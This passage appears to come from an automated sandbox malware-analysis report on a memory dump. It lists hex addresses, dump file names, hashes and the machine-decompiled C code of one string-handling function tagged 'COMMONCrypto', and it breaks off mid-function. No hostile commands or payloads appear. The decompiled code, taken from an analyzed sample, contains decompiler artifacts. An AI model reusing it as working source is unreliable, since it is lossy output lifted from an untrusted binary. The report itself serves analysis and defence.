0x6effb1f2
0x6effb1f4
0x6effb1f6
0x6effb242
0x6effb242
0x6effb246
0x6effb248
0x00000000
0x00000000
0x6effb24a
0x6effb24b
0x6effb251
0x00000000
0x6effb253
0x6effb253
0x6effb253
0x6effb253
0x00000000
0x6effb251
0x6effb1f8
0x6effb1fd
0x6effb1fd
0x6effb1ff
0x6effb1ff
0x6effb203
0x6effb205
0x00000000
0x00000000
0x6effb207
0x6effb208
0x6effb20a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6effb20a
0x6effb1ff
0x6effb1f6
0x6effb1f0
0x6effb258
0x6effb25d
0x6effb25f
0x6effb261
0x6effb263
0x6effb269
0x6effb269
0x6effb265
0x6effb265
0x6effb267
0x00000000
0x00000000
0x6effb267
0x6effb26b
0x6effb26e
0x6effb273
0x6effb275
0x6effb278
0x6effb27a
0x6effb3d0
0x6effb3d0
0x6effb3da
0x6effb3dc
0x6effb3e2
0x6effb3e4
0x6effb3e6
0x6effb420
0x6effb422
0x6effb3e8
0x6effb3e8
0x6effb3ea
0x6effb3ec
0x6effb3ef
0x6effb3f2
0x6effb3f4
0x6effb3f6
0x6effb3f6
0x6effb3f8
0x6effb3f8
0x6effb3f9
0x6effb3fe
0x6effb403
0x6effb405
0x00000000
0x00000000
0x6effb407
0x6effb40b
0x6effb40f
0x6effb411
0x00000000
0x00000000
0x00000000
0x6effb411
0x6effb3f8
0x6effb3f4
0x6effb413
0x6effb413
0x6effb415
0x6effb416
0x6effb41b
0x6effb41b
0x00000000
0x6effb280
0x6effb280
0x6effb283
0x6effb285
0x00000000
0x6effb28b
0x6effb28b
0x6effb28d
0x6effb291
0x6effb291
0x6effb294
0x6effb2b1
0x6effb2bd
0x6effb2bd
0x6effb2c3
0x6effb2c3
0x6effb2c8
0x6effb2cc
0x6effb2d0
0x6effb2d2
0x00000000
0x00000000
0x6effb2d8
0x6effb2db
0x6effb2dd
0x00000000
0x6effb2df
0x6effb2df
0x6effb2e5
0x00000000
0x00000000
0x00000000
0x00000000
0x6effb2e5
0x00000000
0x6effb2dd
0x6effb47d
0x6effb482
0x6effb296
0x6effb296
0x6effb298
0x6effb29b
0x6effb2e7
0x6effb2e7
0x6effb2eb
0x6effb2ed
0x00000000
0x00000000
0x6effb2ef
0x6effb2f0
0x6effb2f6
0x00000000
0x6effb2f8
0x6effb2f8
0x6effb2f8
0x6effb2f8
0x00000000
0x6effb2f6
0x6effb29d
0x6effb2a2
0x6effb2a2
0x6effb2a4
0x6effb2a4
0x6effb2a8
0x6effb2aa
0x00000000
0x00000000
0x6effb2ac
0x6effb2ad
0x6effb2af
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6effb2af
0x6effb2a4
0x6effb29b
0x6effb294
0x6effb2fd
0x6effb302
0x6effb302
0x6effb305
0x6effb308
0x6effb30b
0x6effb30d
0x6effb320
0x6effb323
0x6effb323
0x6effb329
0x6effb331
0x6effb331
0x6effb331
0x6effb332
0x6effb33c
0x6effb346
0x6effb349
0x6effb34f
0x6effb351
0x6effb357
0x6effb359
0x6effb35b
0x6effb395
0x6effb397
0x6effb35d
0x6effb35d
0x6effb35f
0x6effb361
0x6effb364
0x6effb367
0x6effb369
0x6effb36b
0x6effb36b
0x6effb36d
0x6effb36d
0x6effb36e
0x6effb373
0x6effb378
0x6effb37a
0x00000000
0x00000000
0x6effb37c
0x6effb380
0x6effb384
0x6effb386
0x00000000
0x00000000
0x00000000
0x6effb386
0x6effb36d
0x6effb369
0x6effb388
0x6effb388
0x6effb38a
0x6effb38b
0x6effb390
0x6effb390
0x6effb39a
0x6effb3a0
0x6effb3a3
0x6effb30f
0x6effb30f
0x6effb30f
0x6effb3a5
0x6effb3a7
0x6effb3ad
0x6effb3b7
0x6effb3b7
0x6effb3ba
0x6effb3bb
0x6effb3be
0x6effb3c0
0x00000000
0x00000000
0x6effb3c2
0x6effb3c4
0x6effb477
0x00000000
0x00000000
0x00000000
0x00000000
0x6effb3ca
0x6effb3ca
0x6effb3cc
0x6effb3b1
0x6effb3b4
0x6effb3b4
0x00000000
0x6effb3b4
0x00000000
0x6effb3cc
0x6effb3b7
0x6effb3a7
0x6effb285
0x6effb17c
0x6effb17c
0x6effb181
0x6effb186
0x6effb188
0x6effb190
0x6effb192
0x6effb198
0x6effb19a
0x6effb19c
0x6effb1db
0x6effb19e
0x6effb19e
0x6effb1a0
0x6effb1a2
0x6effb1a5
0x6effb1a8
0x6effb1aa
0x6effb1ac
0x6effb1ac
0x6effb1ae
0x6effb1ae
0x6effb1af
0x6effb1b4
0x6effb1b9
0x6effb1bb
0x00000000
0x00000000
0x6effb1bd
0x6effb1c1
0x6effb1c5
0x6effb1c7
0x00000000
0x00000000
0x00000000
0x6effb1c7
0x6effb1ae
0x6effb1aa
0x6effb1c9
0x6effb1c9
0x6effb1cb
0x6effb1cc
0x6effb1d1
0x6effb1d1
0x6effb425
0x6effb425
0x6effb428
0x6effb42a
0x6effb42a
0x00000000
0x6effb17a
0x6effb5bc
0x6effb5bc
0x00000000
0x6effb5bc
0x00000000
0x00000000
0x00000000
0x6effb066
0x6effb431
0x6effb431
0x6effb433
0x6effb437
0x6effb441
0x6effb445
0x6effb455
0x00000000

Strings

@, xrefs: 6EFFAEF0

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 8b23dda31ef708b485797a559140a73a4bae187a5af7111d082972d0fb887ed3
Instruction ID: 4221553d56378162f14b6c9152a0cbabcbfa3bb761f6b02d763dafed3a23922b
Opcode Fuzzy Hash: 8b23dda31ef708b485797a559140a73a4bae187a5af7111d082972d0fb887ed3
Instruction Fuzzy Hash: 9642D371614713CBD7548FAAC4B022A73E2BFC9710F148A6DE8A59B3B9EB75D842C341

Uniqueness

Uniqueness Score: -1.00%

Function 6EFFB6F0, Relevance: 2.0, Strings: 1, Instructions: 704
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6EFFB6F0(signed int __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				unsigned int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed short* _t217;
				unsigned int _t225;
				signed int _t226;
				signed short** _t231;
				signed short* _t235;
				signed int* _t237;
				signed int _t242;
				signed int _t246;
				signed int _t254;
				signed int _t257;
				signed int _t259;
				signed int _t261;
				signed int _t262;
				intOrPtr* _t263;
				signed int _t266;
				signed int _t269;
				unsigned int _t275;
				signed int _t276;
				void* _t282;
				signed int _t285;
				signed int _t286;
				signed int _t290;
				signed int _t291;
				signed int _t293;
				signed int _t300;
				signed int _t301;
				signed int _t306;
				signed int _t307;
				signed int _t310;
				signed int _t319;
				signed int _t321;
				signed int _t335;
				signed int _t338;
				signed int _t339;
				signed int _t341;
				signed int _t342;
				signed int _t343;
				signed int _t344;
				signed int _t347;
				signed int _t348;
				signed int _t349;
				signed int _t350;
				signed int _t355;
				void* _t356;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int _t362;
				signed int _t363;
				signed int _t364;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				void* _t368;
				signed int _t369;
				signed int _t370;
				signed int _t373;
				intOrPtr* _t375;
				signed int _t376;
				signed int _t377;
				signed int _t378;
				intOrPtr* _t379;
				signed int _t380;
				signed int _t381;
				signed int _t383;
				unsigned int _t385;
				unsigned int _t386;
				unsigned int _t389;
				signed int _t390;
				signed int _t397;
				signed int _t400;
				signed int _t401;
				void* _t402;
				signed int _t403;
				signed int _t404;
				signed int _t407;
				signed int* _t408;
				signed int _t409;
				signed int _t413;
				signed int _t422;
				signed int _t424;
				signed short* _t425;
				signed int _t429;
				signed int _t430;
				signed int _t431;
				signed int _t433;
				signed int _t434;
				signed int _t435;
				signed int _t436;
				signed int _t438;
				signed int _t444;
				signed int _t446;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				signed int _t456;
				signed int _t457;
				signed int _t458;
				void* _t461;

				_v52 = 0;
				_t438 = __ecx;
				_v48 = 0;
				_push(0x80);
				_t422 = E6EFF1030();
				_t461 = (_t458 & 0xfffffff0) - 0x34 + 4;
				_t217 = _v52;
				if(_t217 == 0) {
					__eflags = 0;
					 *_t422 = 0;
					L8:
					_v48 = 0x40;
					_v52 = _t422;
					if((_a8 & 0x0000ffff) != 0) {
						__eflags = _t422;
						if(_t422 == 0) {
							_t338 = 0x40;
							_t300 = 0;
							L23:
							_t24 = _t300 + 2; // -2147483652
							_t368 = _t24;
							__eflags = _t368 - 0x40;
							_t369 =  <=  ? 0x40 : _t368;
							__eflags = _t338 - _t369;
							if(_t338 < _t369) {
								_t225 = (_t369 >> 5 >> 0x1a) + _t369 >> 6;
								_t370 = _t369 & 0x8000003f;
								__eflags = _t370;
								if(_t370 < 0) {
									_t370 = (_t370 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t370;
								}
								__eflags = _t370;
								_t226 = _t225 + (0 | _t370 > 0x00000000);
								_push(_t226 << 7);
								_t424 = _t226 << 6;
								_t373 = E6EFF1030();
								_t461 = _t461 + 4;
								_t339 = _v52;
								__eflags = _t339;
								if(_t339 == 0) {
									__eflags = 0;
									 *_t373 = 0;
									goto L36;
								} else {
									__eflags = _t373;
									if(_t373 == 0) {
										L34:
										_push(2);
										_push(_t339);
										_v68 = _t373;
										E6EFF10B0();
										_t373 = _v68;
										_t461 = _t461 + 8;
										L36:
										_v48 = _t424;
										_v52 = _t373;
										L37:
										 *((short*)(_t373 + _t300 * 2)) = _a8 & 0x0000ffff;
										__eflags = 0;
										_t231 =  &_v52;
										 *((short*)(_v52 + 2 + _t300 * 2)) = 0;
										L38:
										_t425 =  *_t231;
										if(_t425 == 0) {
											L40:
											_t375 = _a4;
											_push(0x80);
											 *_t375 = 0;
											 *((intOrPtr*)(_t375 + 4)) = 0;
											_t301 = E6EFF1030();
											_t461 = _t461 + 4;
											_t235 =  *_a4;
											if(_t235 == 0) {
												 *_t301 = 0;
												L61:
												_t237 = _a4;
												 *_t237 = _t301;
												_t237[1] = 0x40;
												L62:
												_push(2);
												_push(_v52);
												E6EFF10B0();
												_v52 = 0;
												_v48 = 0;
												return _a4;
											}
											if(_t301 == 0) {
												L46:
												_push(2);
												_push(_t235);
												E6EFF10B0();
												_t461 = _t461 + 8;
												goto L61;
											}
											_t376 =  *_t235 & 0x0000ffff;
											 *_t301 = _t376;
											if(_t376 == 0) {
												goto L46;
											}
											_t377 = 0;
											while(1) {
												_t377 = _t377 + 1;
												_t341 =  *(_t235 + _t377 * 4 - 2) & 0x0000ffff;
												 *(_t301 + _t377 * 4 - 2) = _t341;
												if(_t341 == 0) {
													goto L46;
												}
												_t342 =  *(_t235 + _t377 * 4) & 0x0000ffff;
												 *(_t301 + _t377 * 4) = _t342;
												if(_t342 != 0) {
													continue;
												}
												goto L46;
											}
											goto L46;
										}
										_t378 =  *_t425 & 0x0000ffff;
										if(_t378 != 0) {
											_t242 =  *_t438;
											__eflags = _t242;
											if(_t242 == 0) {
												L53:
												_t379 = _a4;
												_push(0x80);
												 *_t379 = 0;
												 *((intOrPtr*)(_t379 + 4)) = 0;
												_t301 = E6EFF1030();
												_t461 = _t461 + 4;
												_t246 =  *_a4;
												__eflags = _t246;
												if(_t246 == 0) {
													__eflags = 0;
													 *_t301 = 0;
													goto L61;
												}
												__eflags = _t301;
												if(_t301 == 0) {
													L59:
													_push(2);
													_push(_t246);
													E6EFF10B0();
													_t461 = _t461 + 8;
													goto L61;
												}
												_t380 =  *_t246 & 0x0000ffff;
												 *_t301 = _t380;
												__eflags = _t380;
												if(_t380 == 0) {
													goto L59;
												}
												_t381 = 0;
												__eflags = 0;
												while(1) {
													_t381 = _t381 + 1;
													_t343 =  *(_t246 + _t381 * 4 - 2) & 0x0000ffff;
													 *(_t301 + _t381 * 4 - 2) = _t343;
													__eflags = _t343;
													if(_t343 == 0) {
														goto L59;
													}
													_t344 =  *(_t246 + _t381 * 4) & 0x0000ffff;
													 *(_t301 + _t381 * 4) = _t344;
													__eflags = _t344;
													if(_t344 != 0) {
														continue;
													}
													goto L59;
												}
												goto L59;
											}
											__eflags =  *_t242 & 0x0000ffff;
											if(( *_t242 & 0x0000ffff) == 0) {
												goto L53;
											}
											_v36 = _t425;
											_t65 = _t378 - 0x41; // -65
											__eflags = _t65 - 0x19;
											_t66 = _t378 + 0x20; // 0x20
											_t382 =  <=  ? _t66 : _t378;
											_t347 = 0;
											__eflags = 0;
											_t383 = ( <=  ? _t66 : _t378) & 0x0000ffff;
											_v56 = _t383;
											while(1) {
												_t427 =  *(_t242 + _t347 * 2) & 0x0000ffff;
												_t70 = _t427 - 0x41; // 0x7fffffc0
												__eflags = _t70 - 0x19;
												_t71 = _t427 + 0x20; // 0x80000021
												_t428 =  <=  ? _t71 :  *(_t242 + _t347 * 2) & 0x0000ffff;
												__eflags = ( <=  ? _t71 :  *(_t242 + _t347 * 2) & 0x0000ffff) - _t383;
												if(( <=  ? _t71 :  *(_t242 + _t347 * 2) & 0x0000ffff) == _t383) {
													break;
												}
												_t347 = _t347 + 1;
												__eflags =  *(_t242 + _t347 * 2) & 0x0000ffff;
												if(( *(_t242 + _t347 * 2) & 0x0000ffff) != 0) {
													continue;
												}
												goto L53;
											}
											_t429 = _v36;
											_t348 = _t242 + _t347 * 2;
											__eflags = _t348;
											if(_t348 == 0) {
												goto L53;
											}
											_t306 = _t429 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_t385 = _t306 & 0x00000001;
											_t444 =  ~_t306 + 0x10 >> 1;
											_v32 = _t242;
											_v36 = _t429;
											while(1) {
												L69:
												_t430 = _t306;
												__eflags = _t306;
												if(_t306 == 0) {
													goto L75;
												}
												_t257 = 0;
												__eflags = _t385;
												if(_t385 != 0) {
													L79:
													_v40 = _t348;
													_t436 = _v36;
													while(1) {
														__eflags =  *(_t436 + _t257 * 2) & 0x0000ffff;
														if(( *(_t436 + _t257 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t257 = _t257 + 1;
														__eflags = _t257 - 0x7fffffff;
														if(_t257 < 0x7fffffff) {
															continue;
														}
														_v36 = _t436;
														_t350 = _v40;
														L83:
														_t257 = 0x7fffffff;
														L84:
														_v60 = _t257;
														_t431 = 0;
														__eflags = 0;
														_v68 = _t306;
														_v64 = _t444;
														_v44 = _t386;
														while(1) {
															_t307 =  *(_t350 + _t431 * 2) & 0x0000ffff;
															_t446 =  *(_v36 + _t431 * 2) & 0x0000ffff;
															__eflags = _t307 - 0x61 - 0x19;
															_t308 =  <=  ? _t307 - 0x20 : _t307;
															_t259 = ( <=  ? _t307 - 0x20 : _t307) & 0x0000ffff;
															__eflags = _t446 - 0x61 - 0x19;
															_t447 =  <=  ? _t446 - 0x20 : _t446;
															__eflags = _t259 - ( <=  ? _t446 - 0x20 : _t446);
															if(__eflags < 0 || __eflags > 0) {
																break;
															}
															__eflags = _t259;
															if(_t259 == 0) {
																L89:
																_t306 = _v68;
																_t444 = _v64;
																_t385 = _v44;
																_t262 = _v32;
																_t434 = _v36;
																L90:
																__eflags = _t350;
																if(_t350 == 0) {
																	goto L53;
																}
																__eflags = _t306;
																if(_t306 == 0) {
																	L97:
																	_t397 =  ~( ~_t306 + 0x00000007 & 0x00000007) + 0x7fffffff;
																	__eflags = _t397;
																	while(1) {
																		asm("movdqu xmm1, [edi+ebx*2]");
																		asm("pcmpeqw xmm1, xmm0");
																		asm("pmovmskb esi, xmm1");
																		__eflags = _t444;
																		if(_t444 != 0) {
																			break;
																		}
																		_t306 = _t306 + 8;
																		__eflags = _t306 - _t397;
																		if(_t306 < _t397) {
																			continue;
																		}
																		__eflags = _t397 - 0x7fffffff;
																		if(_t397 >= 0x7fffffff) {
																			L103:
																			_t397 = 0x7fffffff;
																			L104:
																			_t451 = _t262 & 0x0000000f;
																			__eflags = _t451;
																			if(_t451 == 0) {
																				L109:
																				_t319 =  ~( ~_t451 + 0x00000007 & 0x00000007) + 0x7fffffff;
																				__eflags = _t319;
																				while(1) {
																					asm("movdqu xmm1, [eax+esi*2]");
																					asm("pcmpeqw xmm1, xmm0");
																					asm("pmovmskb edi, xmm1");
																					__eflags = _t434;
																					if(_t434 != 0) {
																						break;
																					}
																					_t451 = _t451 + 8;
																					__eflags = _t451 - _t319;
																					if(_t451 < _t319) {
																						continue;
																					}
																					__eflags = _t319 - 0x7fffffff;
																					if(_t319 >= 0x7fffffff) {
																						L115:
																						_t319 = 0x7fffffff;
																						L116:
																						_t355 = (_t350 - _t262 >> 1) + _t397;
																						__eflags = _t355;
																						_t356 =  <=  ? 0 : _t355;
																						__eflags = _t319 - _t356;
																						_t357 =  <  ? _t319 : _t356;
																						_t321 = _t319 - _t357;
																						_t435 = _t262 + _t357 * 2;
																						_t263 = _a4;
																						 *_t263 = 0;
																						 *((intOrPtr*)(_t263 + 4)) = 0;
																						__eflags = _t435;
																						if(_t435 == 0) {
																							L151:
																							_push(0x80);
																							_t301 = E6EFF1030();
																							_t461 = _t461 + 4;
																							_t266 =  *_a4;
																							__eflags = _t266;
																							if(_t266 == 0) {
																								 *_t301 = 0;
																								goto L61;
																							}
																							__eflags = _t301;
																							if(_t301 == 0) {
																								L157:
																								_push(2);
																								_push(_t266);
																								E6EFF10B0();
																								_t461 = _t461 + 8;
																								goto L61;
																							}
																							_t400 =  *_t266 & 0x0000ffff;
																							 *_t301 = _t400;
																							__eflags = _t400;
																							if(_t400 == 0) {
																								goto L157;
																							}
																							_t401 = 0;
																							__eflags = 0;
																							while(1) {
																								_t401 = _t401 + 1;
																								_t358 =  *(_t266 + _t401 * 4 - 2) & 0x0000ffff;
																								 *(_t301 + _t401 * 4 - 2) = _t358;
																								__eflags = _t358;
																								if(_t358 == 0) {
																									goto L157;
																								}
																								_t359 =  *(_t266 + _t401 * 4) & 0x0000ffff;
																								 *(_t301 + _t401 * 4) = _t359;
																								__eflags = _t359;
																								if(_t359 != 0) {
																									continue;
																								}
																								goto L157;
																							}
																							goto L157;
																						}
																						_t269 =  *_t435 & 0x0000ffff;
																						__eflags = _t269;
																						if(_t269 == 0) {
																							goto L151;
																						}
																						__eflags = _t321;
																						if(_t321 != 0) {
																							L131:
																							_t160 = _t321 + 1; // 0x80000000
																							_t402 = _t160;
																							__eflags = _t402 - 0x40;
																							_t403 =  <=  ? 0x40 : _t402;
																							__eflags = _t403;
																							if(_t403 > 0) {
																								_t275 = (_t403 >> 5 >> 0x1a) + _t403 >> 6;
																								_t404 = _t403 & 0x8000003f;
																								__eflags = _t404;
																								if(_t404 < 0) {
																									_t404 = (_t404 - 0x00000001 | 0xffffffc0) + 1;
																									__eflags = _t404;
																								}
																								__eflags = _t404;
																								_t276 = _t275 + (0 | _t404 > 0x00000000);
																								_v68 = _t276 << 6;
																								_push(_t276 << 7);
																								_t452 = E6EFF1030();
																								_t461 = _t461 + 4;
																								_t407 =  *_a4;
																								__eflags = _t407;
																								if(_t407 == 0) {
																									__eflags = 0;
																									 *_t452 = 0;
																									goto L143;
																								} else {
																									__eflags = _t452;
																									if(_t452 == 0) {
																										L141:
																										_push(2);
																										_push(_t407);
																										E6EFF10B0();
																										_t461 = _t461 + 8;
																										L143:
																										_t408 = _a4;
																										_t408[1] = _v68;
																										 *_t408 = _t452;
																										L144:
																										__eflags = _t452;
																										if(_t452 == 0) {
																											goto L62;
																										}
																										_t282 = 0;
																										while(1) {
																											_t409 =  *_t435 & 0x0000ffff;
																											_t282 = _t282 + 1;
																											 *_t452 = _t409;
																											__eflags = _t321;
																											if(_t321 == 0) {
																												goto L149;
																											}
																											__eflags = _t282 - _t321;
																											if(_t282 == _t321) {
																												 *(_t452 + 2) = 0;
																												goto L62;
																											}
																											L149:
																											__eflags = _t409;
																											if(_t409 == 0) {
																												goto L62;
																											}
																											_t452 = _t452 + 2;
																											_t435 = _t435 + 2;
																											__eflags = _t435;
																										}
																									}
																									_t285 =  *_t407 & 0x0000ffff;
																									 *_t452 = _t285;
																									__eflags = _t285;
																									if(_t285 == 0) {
																										goto L141;
																									}
																									_t286 = 0;
																									__eflags = 0;
																									while(1) {
																										_t286 = _t286 + 1;
																										_t362 =  *(_t407 + _t286 * 4 - 2) & 0x0000ffff;
																										 *(_t452 + _t286 * 4 - 2) = _t362;
																										__eflags = _t362;
																										if(_t362 == 0) {
																											goto L141;
																										}
																										_t363 =  *(_t407 + _t286 * 4) & 0x0000ffff;
																										 *(_t452 + _t286 * 4) = _t363;
																										__eflags = _t363;
																										if(_t363 != 0) {
																											continue;
																										}
																										goto L141;
																									}
																									goto L141;
																								}
																							}
																							_t452 = 0;
																							goto L144;
																						}
																						_t413 = _t435 & 0x0000000f;
																						__eflags = _t413;
																						if(_t413 == 0) {
																							L124:
																							_t321 =  ~( ~_t413 + 0x00000007 & 0x00000007) + 0x7fffffff;
																							__eflags = _t321;
																							while(1) {
																								asm("movdqu xmm1, [edi+edx*2]");
																								asm("pcmpeqw xmm1, xmm0");
																								asm("pmovmskb eax, xmm1");
																								__eflags = _t269;
																								if(_t269 != 0) {
																									break;
																								}
																								_t413 = _t413 + 8;
																								__eflags = _t413 - _t321;
																								if(_t413 < _t321) {
																									continue;
																								}
																								__eflags = _t321 - 0x7fffffff;
																								if(_t321 >= 0x7fffffff) {
																									L130:
																									_t321 = 0x7fffffff;
																									goto L131;
																								} else {
																									goto L128;
																								}
																								while(1) {
																									L128:
																									__eflags =  *(_t435 + _t321 * 2) & 0x0000ffff;
																									if(( *(_t435 + _t321 * 2) & 0x0000ffff) == 0) {
																										goto L131;
																									}
																									_t321 = _t321 + 1;
																									__eflags = _t321 - 0x7fffffff;
																									if(_t321 < 0x7fffffff) {
																										continue;
																									}
																									goto L130;
																								}
																								goto L131;
																							}
																							asm("bsf ebx, eax");
																							_t321 = (_t321 >> 1) + _t413;
																							goto L131;
																						}
																						_t321 = 0;
																						__eflags = _t413 & 0x00000001;
																						if((_t413 & 0x00000001) != 0) {
																							goto L128;
																						}
																						_t413 =  ~_t413 + 0x10 >> 1;
																						__eflags = _t413;
																						while(1) {
																							_t269 =  *(_t435 + _t321 * 2) & 0x0000ffff;
																							__eflags = _t269;
																							if(_t269 == 0) {
																								goto L131;
																							}
																							_t321 = _t321 + 1;
																							__eflags = _t321 - _t413;
																							if(_t321 < _t413) {
																								continue;
																							}
																							goto L124;
																						}
																						goto L131;
																					} else {
																						goto L113;
																					}
																					while(1) {
																						L113:
																						__eflags =  *(_t262 + _t319 * 2) & 0x0000ffff;
																						if(( *(_t262 + _t319 * 2) & 0x0000ffff) == 0) {
																							goto L116;
																						}
																						_t319 = _t319 + 1;
																						__eflags = _t319 - 0x7fffffff;
																						if(_t319 < 0x7fffffff) {
																							continue;
																						}
																						goto L115;
																					}
																					goto L116;
																				}
																				asm("bsf ebx, edi");
																				_t319 = (_t319 >> 1) + _t451;
																				goto L116;
																			}
																			_t319 = 0;
																			__eflags = _t451 & 0x00000001;
																			if((_t451 & 0x00000001) != 0) {
																				goto L113;
																			}
																			_t451 =  ~_t451 + 0x10 >> 1;
																			__eflags = _t451;
																			while(1) {
																				_t434 =  *(_t262 + _t319 * 2) & 0x0000ffff;
																				__eflags = _t434;
																				if(_t434 == 0) {
																					goto L116;
																				}
																				_t319 = _t319 + 1;
																				__eflags = _t319 - _t451;
																				if(_t319 < _t451) {
																					continue;
																				}
																				goto L109;
																			}
																			goto L116;
																		} else {
																			goto L101;
																		}
																		while(1) {
																			L101:
																			__eflags =  *(_t434 + _t397 * 2) & 0x0000ffff;
																			if(( *(_t434 + _t397 * 2) & 0x0000ffff) == 0) {
																				goto L104;
																			}
																			_t397 = _t397 + 1;
																			__eflags = _t397 - 0x7fffffff;
																			if(_t397 < 0x7fffffff) {
																				continue;
																			}
																			goto L103;
																		}
																		goto L104;
																	}
																	asm("bsf edx, esi");
																	_t397 = (_t397 >> 1) + _t306;
																	goto L104;
																}
																__eflags = _t385;
																_t397 = 0;
																if(_t385 != 0) {
																	goto L101;
																}
																_v32 = _t262;
																_t306 = _t444;
																while(1) {
																	__eflags =  *(_t434 + _t397 * 2) & 0x0000ffff;
																	if(( *(_t434 + _t397 * 2) & 0x0000ffff) == 0) {
																		break;
																	}
																	_t397 = _t397 + 1;
																	__eflags = _t397 - _t444;
																	if(_t397 < _t444) {
																		continue;
																	}
																	_t262 = _v32;
																	goto L97;
																}
																_t262 = _v32;
																goto L104;
															}
															_t431 = _t431 + 1;
															__eflags = _t431 - _v60;
															if(_t431 < _v60) {
																continue;
															}
															goto L89;
														}
														_t310 = _v68;
														_t448 = _v64;
														_t389 = _v44;
														_t433 = _t350 + 2;
														__eflags = _t433;
														if(_t433 == 0) {
															goto L53;
														}
														__eflags =  *(_t350 + 2) & 0x0000ffff;
														if(( *(_t350 + 2) & 0x0000ffff) == 0) {
															goto L53;
														}
														_v68 = _t310;
														_t261 = 0;
														__eflags = 0;
														_v64 = _t448;
														_v44 = _t389;
														_v40 = _t350;
														while(1) {
															_t261 = _t261 + 1;
															_t348 = _v40 + _t261 * 2;
															_t390 =  *_t348 & 0x0000ffff;
															__eflags = ( *(_t433 + _t261 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
															_t391 =  <=  ? _t390 + 0x20 : _t390;
															__eflags = ( <=  ? _t390 + 0x20 : _t390) - _v56;
															if(( <=  ? _t390 + 0x20 : _t390) == _v56) {
																break;
															}
															__eflags =  *(_t433 + _t261 * 2) & 0x0000ffff;
															if(( *(_t433 + _t261 * 2) & 0x0000ffff) != 0) {
																continue;
															}
															goto L53;
														}
														_t306 = _v68;
														_t444 = _v64;
														_t385 = _v44;
														goto L69;
													}
													_v36 = _t436;
													_t350 = _v40;
													L162:
													__eflags = _t257;
													if(__eflags == 0) {
														goto L83;
													}
													if(__eflags > 0) {
														goto L84;
													}
													_t262 = _v32;
													_t434 = _v36;
													goto L90;
												}
												_v40 = _t348;
												_t430 = _t444;
												_v44 = _t385;
												_t364 = _v36;
												while(1) {
													__eflags =  *(_t364 + _t257 * 2) & 0x0000ffff;
													if(( *(_t364 + _t257 * 2) & 0x0000ffff) == 0) {
														break;
													}
													_t257 = _t257 + 1;
													__eflags = _t257 - _t444;
													if(_t257 < _t444) {
														continue;
													}
													_v36 = _t364;
													_t385 = _v44;
													_t348 = _v40;
													goto L75;
												}
												_v36 = _t364;
												_t386 = _v44;
												_t350 = _v40;
												goto L162;
												L75:
												_v40 = _t348;
												_t254 =  ~( ~_t430 + 0x00000007 & 0x00000007) + 0x7fffffff;
												__eflags = _t254;
												_v44 = _t385;
												_t349 = _v36;
												while(1) {
													asm("movdqu xmm1, [ecx+edi*2]");
													asm("pcmpeqw xmm1, xmm0");
													asm("pmovmskb edx, xmm1");
													__eflags = _t385;
													if(_t385 != 0) {
														break;
													}
													_t430 = _t430 + 8;
													__eflags = _t430 - _t254;
													if(_t430 < _t254) {
														continue;
													}
													_v36 = _t349;
													_t386 = _v44;
													_t350 = _v40;
													__eflags = _t254 - 0x7fffffff;
													if(_t254 >= 0x7fffffff) {
														goto L83;
													}
													goto L79;
												}
												asm("bsf eax, eax");
												_v36 = _t349;
												_t257 = (_t385 >> 1) + _t430;
												_t386 = _v44;
												_t350 = _v40;
												goto L162;
											}
										}
										goto L40;
									}
									_t290 =  *_t339 & 0x0000ffff;
									 *_t373 = _t290;
									__eflags = _t290;
									if(_t290 == 0) {
										goto L34;
									}
									_v68 = _t438;
									_t291 = 0;
									__eflags = 0;
									while(1) {
										_t291 = _t291 + 1;
										_t456 =  *(_t339 + _t291 * 4 - 2) & 0x0000ffff;
										 *(_t373 + _t291 * 4 - 2) = _t456;
										__eflags = _t456;
										if(_t456 == 0) {
											break;
										}
										_t457 =  *(_t339 + _t291 * 4) & 0x0000ffff;
										 *(_t373 + _t291 * 4) = _t457;
										__eflags = _t457;
										if(_t457 != 0) {
											continue;
										}
										break;
									}
									_t438 = _v68;
									goto L34;
								}
							}
							_t373 = _v52;
							goto L37;
						}
						_t293 = _t422 & 0x0000000f;
						__eflags = _t293;
						if(_t293 == 0) {
							L16:
							asm("pxor xmm0, xmm0");
							_t335 =  ~( ~_t293 + 0x00000007 & 0x00000007) + 0x7fffffff;
							__eflags = _t335;
							while(1) {
								asm("movdqu xmm1, [edi+eax*2]");
								asm("pcmpeqw xmm1, xmm0");
								asm("pmovmskb edx, xmm1");
								__eflags = _t367;
								if(_t367 != 0) {
									break;
								}
								_t293 = _t293 + 8;
								__eflags = _t293 - _t335;
								if(_t293 < _t335) {
									continue;
								}
								__eflags = _t335 - 0x7fffffff;
								if(_t335 >= 0x7fffffff) {
									L22:
									_t338 = 0x40;
									_t300 = 0x7fffffff;
									goto L23;
								} else {
									goto L20;
								}
								while(1) {
									L20:
									__eflags =  *(_t422 + _t335 * 2) & 0x0000ffff;
									if(( *(_t422 + _t335 * 2) & 0x0000ffff) == 0) {
										break;
									}
									_t335 = _t335 + 1;
									__eflags = _t335 - 0x7fffffff;
									if(_t335 < 0x7fffffff) {
										continue;
									}
									goto L22;
								}
								L63:
								__eflags = _t300 - 0xfffffffe;
								if(_t300 != 0xfffffffe) {
									_t338 = 0x40;
								} else {
									 *_t422 = 0;
									_t338 = _v48;
								}
								goto L23;
							}
							asm("bsf ebx, edx");
